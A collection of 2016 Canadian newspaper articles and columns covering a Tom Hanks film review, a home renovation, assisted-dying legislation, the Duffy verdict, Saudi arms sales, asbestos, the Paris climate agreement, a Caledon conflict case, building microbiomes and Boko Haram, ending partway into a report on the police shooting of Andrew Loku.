Tom Hanks exerts such a gravitational force in his movies, sometimes to his detriment, its fascinating to watch him struggle for equilibrium in Tom Tykwers A Hologram for the King.

The actor is a stranger in a strange land, even more than he was in Cloud Atlas, the previous Hanks/Tykwer collaboration that also included the visionary mindscapes of the Wachowski Sisters.

It opens with Hanks deathless salesman Alan Clay being yanked from his affluent suburban American life in gusts of purple smoke, set to Talking Heads Once In A Lifetime.

In a blink worthy of Tykwers 1998 dramatic breakthrough Run Lola Run, Clay finds himself on a jet bound for Saudi Arabia, surrounded by penitent pilgrims who are not of his world.

Brows furrowed and eyes narrowed, Clay is on a last-ditch mission to prove himself  hes lost his marriage, his home and now possibly his job  by selling a high-tech hologram communication device to the Saudi monarch. Arrangements have been made and an elaborate demo set up in the desert industrial city where the deal is to be made, a long hot drive from Clays hotel in Jeddah in the company of his opinionated driver Yousef (Alexander Black), who wonders if theres a bomb in his car.

In cleverly wrought scenes reminiscent of a Jacques Tati film or a Samuel Beckett play, he finds the king and his officials maddeningly MIA, although always promising to be there tomorrow, absolutely.

Adapting a David Eggers novel of existential globalization, the film works themes of penance, redemption and cultural taboo testing.

Flashbacks of regret from Clays previous post as a bicycle company exec show that he callously shipped many good American jobs to China.

Portents of the near future include possible romance: Danish consultant Hanne (Sidse Babett Knudsen), whom he could be with, and female Saudi doctor Zahra (Sarita Choudhury), whom he shouldnt be with.

If all this isnt enough to contend with, Clay discovers a massive lump on the back of his neck that could be serious trouble, or just a nuisance.

Hell be off balance until he finds out, but A Hologram for the King makes for captivating disorientation.

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The rustling of the plastic drop sheet had me spooked.

I was standing on a ladder in the living room of my east Toronto 2 1/2-bedroom home, using a hammer and chisel to chip away at the corners of what had once been a popcorn ceiling. Weeks earlier, my plan had been to cover the ugly, haphazardly sprayed-on white stuff with drywall, but Id been convinced to tear it all down following the discovery of plaster and lath and a shoe box-sized hole.

Since then Id spent a weekend with my cousin and my boss, smashing the plaster and popcorn ceiling with hammers and crow bars. Now, alone on this Tuesday evening, I was chipping away at the more stubborn bits of ceiling in the corners with my pry bar. The wind gusted through the vents in the attic above and buffeted the dust-caked sheet hanging between the living and dining room, causing it to rise, slowly, as though an invisible construction worker was strolling toward the kitchen to inspect my work.

This was normal, but I didn't know there were vents in that part of the house. For all I knew, it was the ghost of owners past.

Luckily, only the walls saw me jump.

Long after Id confirmed that the breeze was not a supernatural event, I was left dealing with the earthly problem of repairing my ceiling.

The following Saturday I began trying to close the living room ceiling back up. Fortunately, my cousin who had helped me with the demolition continued to make time for the repairs. He was a living and breathing how-to video for each step of installing drywall, but the trade off was having a witness to all of my mistakes.

For instance, prior to putting up the drywall, my cousin had advised me to scan for finishing nails that had come loose during the ceiling demolition. Id gone around tap-tapping them in with a hammer or ripping them out with a pry bar, so the drywall would be flush to the beams above. But as we worked, my cousin kept finding nail heads poking out.

You said you did this side, didnt you? he asked at one point.

When we secured the vapour barrier (long sheets of plastic used to prevent condensation getting trapped above the drywall) by firing staples into the beams, it was unfailingly my staples that jutted out crookedly and needed to be hammered in.

I had a feeling I was slowing the process  and indeed it took us a day and a half just to start installing drywall.

I was again frustrated while attempting to accurately drill in screws while balancing on a ladder. Drawing a chalk line on the drywall was supposed to help, but my brother-in-law (who was inexperienced like me but generously offered to help) and I both made uneven lines and still repeatedly missed the mark.

I quickly learned, from my cousin, that the tape-and-mud guy will take care of that is the solution for when a screws out of place. (I made a mental note to pay someone to do the messy job of applying layers of mud  drywall compound  into the seams, pressing tape into the mud and sanding it all down.)

It took us several weekends (with breaks to accommodate weekend plans), but finally we had all the drywall in place and I felt like I was getting a handle on the process. My cousin and I shook hands and toasted our hard work with bottles of beer. Then we circled a date a couple of weeks away to do it all again, this time in the dining room.

When the time came, there were no discussions or guessing. Anyone I could persuade to help I got involved  my cousin, my brother-in-law, my boss and two friends (I have a lot of outstanding IOUs). In one day we had the vapour barrier up and had gotten rid of 20 heavy-duty bags worth of demolished ceiling. By the following weekend, the drywall was up and Id spray-foamed insulation in the gaps where crown moulding would go.

I paid to have the crown moulding installed and drywall taped, mudded and sanded. Then it was time to put the moulding pattern across the dining room ceiling  and by now I was handling a mitre saw with confidence (though I still dont trust my measurements enough to cut to my pencil marks without double checking) and no longer hesitated to fire the nail gun. Friends were joking with me that Id be the project lead by the time they were ready to do their own renos.

Im still far from an expert and can spot my mistakes in just about every cut or nail.

My wife says no one will ever notice except us and I like that idea  that my errors will stay between us, the four walls and, of course, my new ceiling.

Matthew Chung, 33, is a communications manager living in and attempting to renovate his first house in Torontos east end. His occasional column appears Friday. You can follow his progress on Instagram @mjechung

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OTTAWAThe children of the woman whose suffering was central to the Supreme Courts decision to strike down the ban on assisted death are urging parliamentarians to amend a proposed new law on medically assisted dying.

Lee and Price Carter say their late mother would not have qualified for medical help to end her life under the restrictive provisions of the bill introduced last week by the Trudeau government in response to the top courts ruling.

Instead, they say their mother and people like her would be forced to endure unbearable suffering, potentially for years.

Im shocked that this governments proposal would exclude the very case this issue was tried on, Lee Carter told a news conference Thursday on Parliament Hill.

We fought for a half a decade and won our case at the highest court in the land and this bill would erase the victory that we achieved for people like my mom. We ask ourselves, what was the point?

Kay Carter suffered from spinal stenosis, a painful condition that left her bedridden, unable to move or even feed herself. She found the loss of autonomy and dignity intolerable but was not, according to her children, facing imminent death.

The 89-year-old travelled secretly to Switzerland in 2010, where she legally obtained medical help to die. Her children, with the help of the British Columbia Civil Liberties Association (BCCLA) and several other plaintiffs, carried on the court battle to legalize the practice in Canada.

The proposed federal law, Bill C-14, would allow assisted death only for consenting adults, at least 18 years of age, who are in an advanced stage of irreversible decline from a serious and incurable disease, illness or disability and for whom a natural death is reasonably foreseeable.

The bill is more restrictive than the conditions prescribed by the Supreme Court, which ruled in the Carter case that medical help in dying should be available to clearly consenting adults with grievous and irremediable medical conditions who are enduring physical or mental suffering that they find intolerable.

Canadians should be angry that this legislation restricts the definition for who dies and who suffers, said Price Carter.

It is unacceptable for this new law to say that some people must simply endure suffering because their illness isnt terminal. It is not for the government to tell them that they must be forced to go on living.

BCCLA executive director Josh Paterson said the government has invented additional restrictions, seemingly out of thin air, that the top court never contemplated and which make the proposed law unconstitutional. At a minimum, he said the government must delete the requirements that a persons medical condition must be advanced, irreversible and incurable and that natural death must be reasonably foreseeable.

If it does not, Paterson said grievously ill people will be left with the very cruel choice that the Supreme Court explicitly said they have the right to avoid: to take their lives prematurely while theyre still physically able; or having to ask the help of their family members, who might potentially have to commit a crime to assist someone to die; or else they will just have to suffer intolerably, trapped potentially for agonizing years and years into the future.

Justice Minister Jody Wilson-Raybould and her departments officials have insisted the bill is consistent with the top courts ruling. Theyve also maintained Kay Carter and the other plaintiffs in the case were close to death and therefore would have been eligible for an assisted death under the proposed law.

With great respect, government lawyers have been wrong on assisted dying for the last six years and theyre wrong today when they say that, Paterson countered.

When the minister says Kay Carters death was coming, shes not relying on the death . . . that would come from her spinal stenosis. Shes just saying, Shes old and shes going to die at some point.

The BCCLA is also critical of the bills omissions. It does not extend the right to assisted dying to mature minors or those suffering only from mental illnesses. Nor does it allow for people with competence-eroding conditions like dementia to make advance requests for an assisted death.

The government is promising further study on those issues but Paterson said the bill should be amended to at least put a strict time limit on that study.

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OTTAWAHad he so chosen, Mike Duffy could have left his familiar courtroom perch Thursday, made a hard right and taken a step on the long road to redemption.

He could have marched down the wide expanse of Elgin Street toward the War Memorial, veered left and into the Centre Blocks east doors leading to the Senate chamber.

He could have sneered at the media throng, including former friends and colleagues, which has tormented him so over the past years.

He could have flipped the bird to his Senate colleagues who rushed to judgment, ignored due process and kicked him to the curb  lancing a boil as one once put it to me  and he could have had the last laugh at the Conservative MP for Calgary Heritage, one Stephen Harper.

It turns out Duffy was right. The plan by Nigel Wright to pay him $90,000 in return for a public declaration of wrongdoing was a monstrous conspiracy.

At least it was in the eyes of Justice Charles Vaillancourt, who provided as complete and thorough an exoneration of Duffy and as complete and thorough excoriation of Harpers PMO as any courtroom could possibly have heard.

It was a decision that is unlikely to immediately turn public opinion on Duffy or the Senate, but it was the day the ol Duffster could have only imagined in his most vivid, Technicolor verdict-day dreams.

It was six hours in which every charge  31 in all  was stripped of credibility and dismissed. It was a complete deconstruction, sometimes mocking, of an incomplete and inept Crown case, an indictment of the lack of rules and oversight in the Senate.

Then Vaillancourt capped his day with his unprecedented takedown of the ruthless gang in Harpers PMO, words delivered from the bench and destined to live in posterity to be studied by historians and political scientists.

This may not be the Mike Duffy most Canadians believe they knew, but this was the Duffy described by Vaillancourt Thursday  a credible, hard-working senator (as Harper himself had written on a photo introduced as an exhibit) who never padded expense claims, never ran away from questions about his residency and sought the advice of Senate leaders and was told he was doing no wrong.

If it was not the Mike Duffy we thought we knew, it was the Mike Duffy his lawyer Donald Bayne expertly sketched.

Oh, some of his contracts were unorthodox and perhaps some of his travel could raise eyebrows, but Vaillancourt could not find Duffy was evading Senate oversight because there was no oversight in the first place.

It was a late and taxing victory that clearly took a toll on Duffy, but it was a three-pronged victory nonetheless. His trial obscured Harpers early campaign messaging and played into the resounding defeat of the Conservatives, he has official condemnation of a PMO that was essentially found guilty of mind-boggling scheming by Vaillancourt and he was completely cleared.

It was Duffys legendary gift of the gab that came to his rescue again. Vaillancourt said his introduction of extraneous facts enlivened court proceedings, but never tarnished Duffys credibility.

Duffy rambled on for hours in his defence, unchallenged, waxing on with remarkable clarity on everything from meetings with seniors or veterans, a Peterborough trip that was alleged to be a trip to buy a puppy, the great work done on his Cavendish residence by Prince Edward Island contractors, his work with an exercise consultant and a sudden interest in the fitness of seniors.

There will be those who dismiss Duffy as old news. The real intrigue of the case was the inner workings of the Harper PMO and it is yesterdays news, a government sent packing six months ago, now a historical relic.

That ignores the jolt of a respected jurist pronouncing on the inner workings of a Canadian government from the bench.

The political, covert, relentless, unfolding of events is mindboggling and shocking, said Vaillancourt, who said Wright was moving PMO operatives and senators around like so many chess pieces.

The precision and planning of the exercise would make any military commander proud. However, in the context of a democratic society, the plotting as revealed in the emails can only be described as unacceptable.

Ultimately, Duffys free will was overwhelmed and he capitulated to the threats from Wright and his crew, the judge found.

There you have it. Poor Mike. The problem that wouldnt go away for Harpers operatives.

It collides with the image of the cocky, verbose, self-preening Duffy, but as Vaillancourt asked: Why is the PMO engaged in all of this activity when they believed that Senator Duffys living expense claims might very well have been appropriate?

Somewhere Thursday night, Pamela Wallin slept soundly. And Wright, eight months removed from his bible-quoting, altruistic explanation for his role in this case, should be tossing and turning.

Tim Harper is a national affairs writer. His column appears Monday, Wednesday and Friday. tharper@thestar.ca Twitter:@nutgraf1

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OTTAWAThe recent Liberal-approved export permits to allow the shipment of light armoured vehicles to Saudi Arabia should be declared illegal, according to a new submission to the Federal Court.

A group of lawyers are arguing that Global Affairs Minister Stephane Dion should not have approved the permits on human rights grounds, and they should be declared illegal based on the federal governments own export rules.

Daniel Turp, the Quebec-based constitutional lawyer who filed the application for a judicial review, said Saudi Arabias human rights record should prohibit the export of military technology to the desert kingdom.

Canadian law puts limits on the export of military technology to countries with a record of human rights violations against their citizens.

Despite Dions approval of the export permits earlier this month  after an initial application was filed with the court  Turp is not abandoning his challenge. The first application argued the permits should not be issued. This latest application argues they should be cancelled.

(The court should) declare that on April 8, 2016, (Dion) delivered a decision that was not founded on evidence, based not on a demonstration that there was no reasonable risk that the light armoured vehicles would be used against a civilian population, but rather on a simple belief, without considering the pertinent elements that he had or that were available to him, reads the document, emailed to a Montreal court Thursday afternoon.

The $15 billion deal to sell Saudi Arabia light armoured vehicles was announced by the previous Conservative government in 2014. Touted as supporting 3,000 jobs in southwestern Ontario, the deal was brokered by Canada Commercial Corporation, a Crown corporation, for General Dynamics Land Systems.

The Liberals did not campaign on cancelling the agreement, but suggested it was a done deal after taking office. But after Turp filed his initial application late last month, it was revealed that Dion had signed off on the export permits on April 8.

Its quite unusual that a government, knowing that theres a case brought before the court, goes ahead and delivers permits when it has the knowledge that the legality of this issue was before a court, Turp said in an interview Thursday.

When asked for comment on the application, a spokesperson for Dion said the government believes that the deal complies with Canadian law.

The government is satisfied that Canadas approach remains consistent with our international obligation and Canadian law, wrote Chantal Gagnon, Dions press secretary.

Gagnon also pointed to a Feb. 19 speech by Dion indicating that he had reviewed the issue with the utmost rigour and will continue to do so over the life of the 14-year deal.

Turps application hinges on provisions adopted by the federal cabinet in 1986 requiring the export of military technology to countries with persistent record of serious violations of the human rights of their citizens to be closely controlled.

Sending military hardware to those countries is only allowable if the government can demonstrate that there is no reasonable risk it will be used on civilians.

Saudi Arabia is routinely called one of the worlds worst human rights violators by advocacy groups and rights watchdogs.

Human Rights Watchs 2015 report on the Gulf state found Saudi Arabia continues to jail rights activists, systematically repress women and religious minorities, and 2014 terrorism laws criminalize almost any form of peaceful criticism of the authorities.

Amnesty International has opposed the sale because of the kingdoms troubling human rights record and its military intervention in the conflict in neighbouring Yemen.

The sale should not be going ahead. We think the human rights concerns are very clear and very troubling and there is simply no basis on which Canada should be going forward with this at this time, Alex Neve, secretary general of Amnesty International Canada, said Thursday.

The light armoured vehicles almost certainly will be used both internally in Saudi Arabia and very likely in the ongoing and spreading intervention in neighbouring Yemen. For that reason we simply should not be involved.

The deal has run into political opposition as well as NDP Leader Thomas Mulcair this week accused the Liberals of being naive and said the government had discounted the concerns about human rights in Saudi Arabia.

The human rights situation in Saudi Arabia has only gotten worse since this discussion began, Mulcair said.

Ive followed very closely Mr. Dions succession of explanations and the more he talks, the less it makes sense, he said.

But the government has shown no inclination it intends to halt the sale, despite the criticism.

We will continue to respect contracts signed because people around the world need to know that when Canada signs a deal it is respected, Trudeau said this week.

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OTTAWATrade unions and affected family members say its long past time to ban all asbestos products in Canada, calling them the countrys number one workplace killer.

A tearful Michelle Cote, whose boiler maker father was diagnosed with deadly, asbestos-caused mesothelioma in 2014, told an Ottawa news conference that no one deserves to die this way.

According to studies funded by the Canadian Cancer Society, more than 2,000 Canadians die from asbestos exposure every year, with 580 new cases of incurable mesothelioma diagnosed in 2014.

Canada closed its last asbestos mine in Quebec five years ago but continues to import millions of dollars of asbestos products, including brake pads for vehicles and pipes used in building construction, with imports nearly doubling between 2011 and 2015.

Hassan Yussuff of the Canadian Labour Congress says hes been in discussion with the Liberal government and is imploring it to quickly pass legislation banning the import and use of materials containing asbestos.

Yussuff says every product currently used containing asbestos is easily replaceable, with many of the safer alternatives  such as ceramic brake pads  manufactured right in Canada.

There is no reason for delay, Yussuff said Friday.

He was flanked at the news conference by several people with personal experience of asbestos tragedies.

My dad, although still alive, is lost, Cote said of her 71-year-old father Clem, the big kahuna with a zest for life who now finds it difficult to speak.

Dad knows we cant help those men and women who have already been exposed, said Michelle Cote. This plea is something he, and we, can do to stop future generations from facing the same death sentence.

For every case of mesothelioma, there four cases of other lung cancers caused by asbestos fibres but less easily identified, said Paul Demers, the director of the occupational cancer research centre at Cancer Ontario.

Asbestos was recognized as a workplace carcinogen in the 1950s and has been banned in several Nordic countries for three decades, but remains legal for use in Canada.

Demers said asbestos-related cancers take many years to develop.

We cant undo the sins of the past but we can take steps to prevent cancer in the future, said the researcher.

Renee Guay, whose father died a gruesome death from mesothelioma in 2011 and whose uncle has since been diagnosed with the disease, said that in her current work she sees contractors who fail to shower after cutting asbestos pipes, potentially carrying deadly fibres home to their families.

Why is it we let this well-known, proven killer walk free? Guay said of asbestos. Who are we really protecting, because certainly its not our fellow citizens.

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Leaders from 175 countries signed the Paris Agreement on climate change Friday as the landmark deal took a key step forward, potentially entering into force years ahead of schedule.

U.S. Secretary of State John Kerry, holding his young granddaughter, joined dozens of world leaders for a signing ceremony at the United Nations in New York that set a record for international diplomacy: Never have so many countries signed an agreement on the first available day. States that dont sign Friday have a year to do so.

We are in a race against time, UN Secretary-General Ban Ki-moon told the gathering. The era of consumption without consequences is over.

Many now expect the climate agreement to enter into force long before the original deadline of 2020. Some say it could happen this year.

Prime Minister Justin Trudeau, in New York to sign the agreement, also announced that Canada would ratify the agreement this year.

Today, with my signature, I give you our word that Canadas efforts will not cease. In every possible sense we are all in this together, Trudeau said. Together we will make this a better world.

After signing, countries must formally approve the Paris Agreement through their domestic procedures. The United Nations says 15 countries, several of them small island states under threat from rising seas, did that Friday by depositing their instruments of ratification.

China, the worlds top carbon emitter, announced it will finalize domestic procedures to ratify the Paris Agreement before the G-20 summit in China in September. Ban immediately welcomed the pledge.

Kerry said the United States absolutely intends to join the agreement this year. The world is watching anxiously: Analysts say that if the agreement enters into force before President Barack Obama leaves office in January, it would be more complicated for his successor to withdraw from the deal because it would take four years to do so under the agreements rules.

Chinas climate envoy, Xie Zhenhua, said his government hopes the United States will join the climate agreement as soon as possible.

The United States put the deal into economic terms. The power of this agreement is what it is going to do to unleash the private sector, Kerry told the gathering, noting that this year is again shaping up to be the hottest year on record.

Ban warned that the work ahead will be enormously expensive. Far more than $100 billion  indeed, trillions of dollars  is needed to realize a global, clean-energy economy, he said.

The agreement will enter into force once 55 countries representing at least 55 per cent of global emissions have formally joined it.

An analysis by the Washington-based World Resources Institute found that at least 25 countries representing 45 per cent of global emissions joined the agreement Friday or committed to joining it early.

French President Francois Hollande, the first to sign the agreement, said Friday he will ask parliament to ratify it by this summer. Frances environment minister is in charge of global climate negotiations.

There is no turning back now, Hollande told the gathering.

Other countries that said Friday they intend to join the agreement this year include Mexico and Australia.

The climate ceremony brought together a wide range of states that on other issues might sharply disagree. North Koreas foreign minister made a rare UN appearance to sign Friday, and Zimbabwes President Robert Mugabe brought applause when he declared, Life itself is at stake in this combat. We have the power to win it.

Countries that have not yet indicated they would sign the agreement Friday include some of the worlds largest oil producers, including Saudi Arabia, Iraq, Nigeria and Kazakhstan, the World Resources Institute said.

The Paris Agreement, the worlds response to hotter temperatures, rising seas and other impacts of climate change, was reached in December as a major breakthrough in UN climate negotiations, which for years were slowed by disputes between rich and poor countries over who should do what.

Under the agreement, countries set their own targets for reducing emissions of carbon dioxide and other greenhouse gases. The targets are not legally binding, but countries must update them every five years.

Already, states face pressure to do more. Scientific analyses show the initial set of targets that countries pledged before Paris dont match the agreements long-term goal to keep global warming below 2 degrees Celsius (3.6 degrees Fahrenheit), compared with pre-industrial times. Global average temperatures have already climbed by almost 1 degree Celsius. Last year was the hottest on record.

The latest analysis by the Climate Interactive research group shows the Paris pledges put the world on track for 3.5 degrees Celsius of warming. A separate analysis by Climate Action Tracker, a European group, projected warming of 2.7 degrees Celsius.

Either way, scientists say the consequences could be catastrophic in some places, wiping out crops, flooding coastal areas and melting Arctic sea ice.

This is not a good deal for our island nations, at least not yet, the chair of the Alliance of Small Island States, Nauru President Baron Divavesi Waqa, told the gathering. The hardest work starts now.

As the Paris Agreement moves forward, there is some good news. Global energy emissions, the biggest source of man-made greenhouse gases, were flat last year even though the global economy grew, according to the International Energy Agency.

Still, fossil fuels are used much more widely than renewable sources like wind and solar power.

Friday was chosen for the signing ceremony because it is Earth Day.

With files from Peter Edwards

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A couple charged in a high-profile 2015 murder have been charged again, this time in connection with child porn offences.

Clyde Marshall, 37, and Sabrina Chouart, 28, were arrested in a Niagara Falls Walmart on June 22, 2015. Each was charged with the first-degree murder of 32-year-old Kleinburg man Sina Parsi, who had last been seen on June 9 in Vaughan.

On Friday, Toronto police announced that the couple had been each been charged with possessing child pornography and accessing child pornography.

Police say the new charges stem from an investigation that began as part of the murder investigation.

Marshall and Chouart were scheduled to appear in court Friday morning.

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Caledons mayor was susceptible to influence for financial need when he owed $135,000 in interest on a loan from two developers, and had a $40,000 lien on his property from the Canada Revenue Agency, argued a lawyer Thursday in a conflict of interest case against Allan Thompson.

He faces the possibility of being removed from office if found guilty of allegations that he voted on matters in council without declaring a conflict of interest on issues that hes alleged to have had a financial interest in.

One of the issues relates to the purchase of the Thompson farm . . . his personal farm, in 2015, lawyer Kevin Sherkin told the Ontario Superior Court during the first day of hearings in the case, Thursday.

Sherkin  representing Caledon resident Kelly Darnley, who filed the case against Thompson  argued that Thompson entered into a $9.4-million deal with developer Primont homes in September 2014, when he was a town councillor, and took votes in council during the same month that pushed development toward the mayors property.

The original purchase and sale agreement was signed by the principal of Primont, Sherkin told the court. But then, he said that another agreement was drafted showing that a numbered company was the purchaser. The director for that company was the lawyer for Primont.

Sherkin told the court that minutes of a public meeting in June 2014, months before Thompson sold his property, show that he had asked for another parcel of land to be approved for development. Mr. Thompson asks staff to expedite the development of the land so the builder can break ground. The likely builder is to be Primont.

Sherkin told the court that during pre-hearing questioning, about the September purchase of his property, Mr. Thompson, in examination, denies he knew who the buyer was.

He continued: The name Primont was on the deposited cheque, and the second deposited cheque. The evidence of the mayor was he knew that it was a developer, but he didnt know who, Sherkin said. He argued that because Thompson sat on council, which often dealt with planning issues and he routinely took votes to support applications by developers, You have a duty to inform yourself. This is the mayor of the town.

Justice Peter Daley, interjected. Youre saying willful blindness?

At a minimum, willful blindness, Sherkin responded. He said Thompson said during examinations that he didnt find out who the buyer was until November 2014.

The evidence from Mr. Thompson is that somebody just knocked on his door and made the offer . . . the purchase price was $9.4 million. Mr. Thompson would be able to live in the property, rent free, for up to 15 years.

Sherkin told the court that although the deal was made in September, the real estate agent gave pre-hearing evidence that he was asked not to make it public until Oct. 28, 2014, the day after Thompson won the mayors seat in the municipal election. The agent testified during examinations: He believed it was because Mr. Thompson was running for mayor, Sherkin said, explaining why, according to the evidence, the sale wasnt made public until after the election.

Sherkin then detailed a $600,000 loan Thompson received in 2007 from a company that Sherkin argued was run by the principals of two other development businesses. He told the court that Thompson took council votes in favour of those two companies after they gave him the loan, which was structured as a mortgage on his property that Thompson had to pay 5 per cent interest on annually.

Sherkin argued that according to evidence, the loan was in default for at least five years, and that Thompson owed $135,000 in unpaid interest by 2015.

I dont know many mortgage companies that let a property remain in default, Sherkin said.

But Daley repeatedly told Sherkin that because the loan was not issued by the development companies that Thompson allegedly supported through council votes, but rather by a different corporate entity, it would be difficult to find a conflict of interest, even if the principals of the companies were the same.

Sherkin, as he had pointed out numerous times during the day, questioned why Thompson chose not to respond to almost all of the applicants evidence in the case.

After Sherkin made his submissions on that evidence it was Thompsons lawyers turn.

Alan Lenczner, best known for defending former Toronto Mayor Rob Ford in a 2012 conflict case, told Daley that the application had numerous holes in it, arguing that almost all of the votes detailed in the allegations did not even involve the developers that Thompson, according to the evidence, had financial dealings with.

Every single paragraph (from Darnleys evidence) mischaracterizes what was before council, Lenczner said, arguing that neither Primont nor the company that gave Thompson the loan, were involved in the matters that allegedly involved a conflict of interest.

He also questioned Darnleys motives for filing the application against Thompson, arguing that she simply did not want development to be directed to certain parts of Caledon, even though, he said, the towns official plan called for development to take place in the area close to Thompsons property.

I dont like what the elected officials have done  that, Lenczner argued, was the real reason behind the conflict of interest allegations. He will continue his arguments Friday. No witnesses are scheduled during the judge-only hearings.

If Daley decides not to expand the case to a full trial, with witnesses, he will only use the submissions in court and all the paper evidence to make his decision.

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Theres more to Toronto than just its skyline  scientists now believe cities each have their own unique microbial fingerprint.

A study published this week in mSystems, a journal from the American Society for Microbiology, found that each city has its own special blend of fungi and bacteria, an identifying marker akin to a bacterial signature.

Researchers based at Northern Arizona University collected samples from nine office buildings in three North American cities: Toronto, Flagstaff, Ariz. and San Diego, Calif. Using DNA sequencing, they identified the microbial makeup of three different kinds of building materials  ceiling tile, drywall and carpet.eg

What they found was that geography had the biggest influence on a buildings microbial community, more so than climate or even building material. To put it another way, microbes in buildings in the same city have a lot more in common than microbes from different cities.

This microbial signature was so striking, the study found, that a computer was able to accurately identify the city by its microbiome, or its collection of bacteria, 85 per cent of the time.

We found a strong city affect for bacteria, said Jeffrey Siegel, a professor at the University of Torontos department of civil engineering, and one of the authors of the study. Toronto may very well have its own microbial ignature, but Siegel said that doesnt mean theres anything funky going on with the citys bacteria. Rather, the study suggests that each city has its own signature microbial recipe  the ingredients are similar, but the results are quite one-of-a-kind.

Theres nothing really that unusual that shows up about Toronto, he said.

The studys findings contradict earlier research that suggested individual buildings contain their own unique microbiome and that microbial communities varied between surface materials.

We hadnt seen that before, said Jack Gilbert, editor-in-chief of mSystemswho was the primary editor for the study.

Siegel chalked up the different results to the fact that past research has focused on private homes, where human influence is strongest, and laboratory settings that did not approximate real-life conditions.

Siegel specializes in built environments  the biological and ecological environments of man-made buildings and cities.

Its a field of research that has been boosted by advances in the scientific communities understanding of how the human microbiome works. Scientists no longer think that all bacteria is bad  rather, the human body plays host to a whole world of microbes that can be both beneficial and harmful.

Were kind of walking vectors for bacteria, Siegel said. That bacterial community has a lot of impact on our health.

Just as the human body contains its own microbial ecosystem, so too do buildings, Siegel said.

So when I think about a building, its the same kind of model.

Ultimately, Siegel said he hopes the research sheds some light on how microbiomes in buildings work, so that we might eventually know how to build healthy cities.

I think theres this idea that one day, maybe we can make healthy buildings, by encouraging the growth of particular microorganisms indoors, he said.

Like people who take a probiotic supplement for their digestion, Siegel said its possible one day we could create a yogurt for cities  but that weve only started to scratch the surface of how microbes affect human health.

Gilbert, who specializes in microbial ecology and teaches at the University of Chicago, said that the study could affect how people go about designing the cities we live in, but that for now, its purely speculative.

We have no evidence of this whatsoever, but it could be that if youre exposed to more diverse (bacteria) it could be more beneficial to your health, he said.

Correction - April 25, 2016: This article was edited from a previous version that misspelled Jeffrey Siegel's surname.

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The Lords Resistance Army, a killer-cult wrapped around a demented interpretation of the Ten Commandments, has been wreaking havoc in Africa for a quarter-century.

Under the command of leader Joseph Kony and his lieutenants  all of whom have drawn arrest warrants from the International Criminal Court  its violently-indoctrinated child soldiers continue to terrorize villages, pouncing and then melting into the jungle.

They loot and flee. Youngsters deemed strong enough to carry weapons  machetes primarily  are abducted, then converted into cooks, porters, sex slaves and fighters. Children are forced to murder their own parents, ensuring that communities will never accept their return, should they manage to escape. Victims have noses, ears and lips lopped off, as a warning.

Military units from Uganda  whence the LRA originated  Congo and the Central African Republic have pursued the hardscrabble fugitives for years, with little noticeable effect.

In a modern world where satellites can zero in on targets, tracking their movement and flashing images in real-time to war rooms thousands of miles away, somehow Kony and his rag-tag gaggle can elude capture.

Baffling. Or perhaps, more likely, it is simply not outraging enough to merit the concerted attention of First World engagement.

Its just Africa.

I mention the Lords Resistance Army to remind that theres scarcely anything new or novel about Boko Haram, a similarly righteous  Islamist radicals in their case  and predatory armed group, though a vastly larger threat across four countries in the Lake Chad region, designated an insurgency rather than criminal desperados. Their marauding has triggered the displacement of 2.3 million people since May, 2013, according to UNICEF, as hit-and-run attacks and suicide bombings have deprived the population of essential services with the destruction of vital infrastructure.

Boko Haram numbers only 15,000 fighters, largely contained to Nigeria, a nation with a standing army of a quarter-million soldiers. President Muhammadu Buhari declared just last December that Boko Haram had been technically defeated, an outlandish statement disproven with every subsequent attack by the deadly group. Buharis predecessor had claimed victory of Boko Haram in 2009 too.

The kidnapping, in one fell swoop, of 276 girls from a Christian boarding school in Chibok two years ago remains a suppurating pustule for both Nigerian military authorities and the broader international community. Indignation and revulsion were swift, the #bringbackourgirls twitter campaign a heartfelt global demand for action, but that sense or urgency has dwindled away.

Fifty-seven of the Chibok abductees have either escaped or been retrieved by the military. At least 219 are still missing.

Boko Haram leader Abubakar Shekau said, via video, that the girls have all converted to Islam and he threatened to force them into marriage with his fighters or sell them into slavery. According to humanitarian groups, upwards of 2,000 women and children, boys and girls, have been abducted by Boko Haram since 2012.

Earlier this month, CNN obtained footage  a glimpse of the stolen  showing 15 of the kidnapped schoolgirls wearing black robes, heads covered, identifying themselves. Apparently filmed in December, the video was reportedly sent to negotiators by their as proof of life, the first evidence that the girls are still alive since 15 were shown in another video delivered in May, 2014.

Their captors want ransoms. Because theyve indeed lost much of their territory to the Nigerian army over the last year, the radicals are said to be desperate. These girls  though hundreds of others have been kidnapped  are their most precious pawns and their monetary demands high, although not specified by the government. They want money and they want to exchange some of the girls for commanders whove been arrested.

The government is allegedly reluctant to negotiate for their lives, which would be a delicate operation. Theres certainly nothing trustworthy about Boko Haram.

Its believed the girls are being held in small groups and moved around secure locations, scattered throughout territory the insurgents still hold.

The dilemma is practical, however, not moral.

We know that girls kidnapped by Boko Haram have been sent on suicide missions. According to The Long War Journal an American website which tracks terrorist activity  at least 105 women and girls have been used by Boko Haram in suicide attacks since June, 2014, with hundreds of civilians killed in attacks on markets, schools and displacement camps.

A recent UNICEF report reveals that the number of children used in suicide attacks in Nigeria and neighboring countries has spiked sharply  11 times higher in the past year. Nearly one out of every five suicide bombers has been a child, the report states, and three-quarters of all child suicide bombers are girls.

A retrieved 17-year-old girl told the reports researchers about being abducted when she was visiting her mother in Nigeria last year. She was forcibly married to a Boko Haram fighter and bore him a son. If you dont marry us, we will kill you, her abductors told her. They came for me at night. They kept me locked in a house for over a month and told me, whether you like it or not, we have already married you.

Yet some of the girls have demonstrated remarkable resistance to the coercion theyve doubtless endured.

In February, a girl sent to bomb a village in the northern region of Cameroon cast off her explosives and ran towards authorities. The information she provided led to a major raid on a Boko Haram cadre. Two months ago a trio of girls clad in bombs was sent to attack a camp where villagers fleeing the insurgents had sought refuge. Two of the assailants detonated their bombs, killing nearly 60 people, but the third heaved her explosives into the bush after spotting her parents in the crowd.

Those who do as theyre bidden cant be blamed. Theyre scared and theyve been inculcated in violence. But deep inside theyre still just lost, stolen girls, like the boys and girls of the Lords Resistance Army.

And we, with our eye-in-the-sky satellites, with our smart drones, with our waning attention span, have abandoned them.

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There are the undisputed facts: Andrew Loku was killed by a Toronto police officer on July 5, 2015. He was shot in the third-floor hallway, one floor up from his apartment at 502 Gilbert Ave. He was carrying a hammer at the time he was killed.

But the outrage over the death of Loku, a 45-year-old from South Sudan, has erupted in part because of the contradictory versions of the details around his death. Little information has been released to show how the provinces Special Investigations Unit (SIU) navigated differing accounts, to settle on clearing the officers.

The questions point to the need for the release of the SIU directors report into Lokus death, critics say. Until it is released, the public is left with two different accounts of Lokus final moments.

Lokus death according to the Special Investigations Unit

